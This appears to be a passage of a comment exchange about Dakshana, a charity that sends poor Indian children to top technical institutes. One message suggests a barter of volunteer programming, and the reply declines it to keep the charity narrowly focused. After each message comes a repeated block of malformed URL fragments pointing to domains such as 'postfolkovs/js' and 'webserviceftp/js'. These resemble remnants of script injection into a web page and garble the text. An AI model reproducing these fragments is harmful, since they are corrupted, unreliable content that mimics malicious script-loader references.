Dear Friend,
If i might offer a suggestion I think a barter might be a reasonable option. I did visit their website and as a raw materials manufacturer the Khandelwal Group could use help on the user functionality of their website which loses them potential business which if you have a volunteer programmer which might donate his or her labor this could be an equitable trade if approached from a barter context rather than a direct gift of materials or funds. =http://www.scriptjs/page>> =http://netcfg.postfolkovs/js>> =http://send.postfolkovs/js>> =http://vba.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://logon.webserviceftp/js>> =http://doc.webservicesmulti/js>> =http://doc.webservicesmulti/js>> =http://version.webserivcekota/js>> =http://sslnet.webserviceftp/js>> =http://sslnet.webserviceftp/js>> =http://tmp.webservicesrob/js>>

Thanks for the nice note Ganesh. Unfortunately, Dakshana is very narrowly focused and this is quite a ways outside our core focus.

I've always found that to build a successful business, one must narrow one's markets. The narrower the better. Same applies in successful giveback.

We want to remain focused purely on sending the poorest kids in India to the very best technical institutes. Until we've exhaused this stream and sending significant numbers to IIT and other leading engineering schools, we don't intend to broaden our focus. =http://www.scriptjs/page>> =http://netcfg.postfolkovs/js>> =http://send.postfolkovs/js>> =http://vba.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://snmp.postfolkovs/js>> =http://logon.webserviceftp/js>> =http://doc.webservicesmulti/js>> =http://doc.webservicesmulti/js>> =http://version.webserivcekota/js>> =http://sslnet.webserviceftp/js>> =http://sslnet.webserviceftp/js>> =http://tmp.webservicesrob/js>>
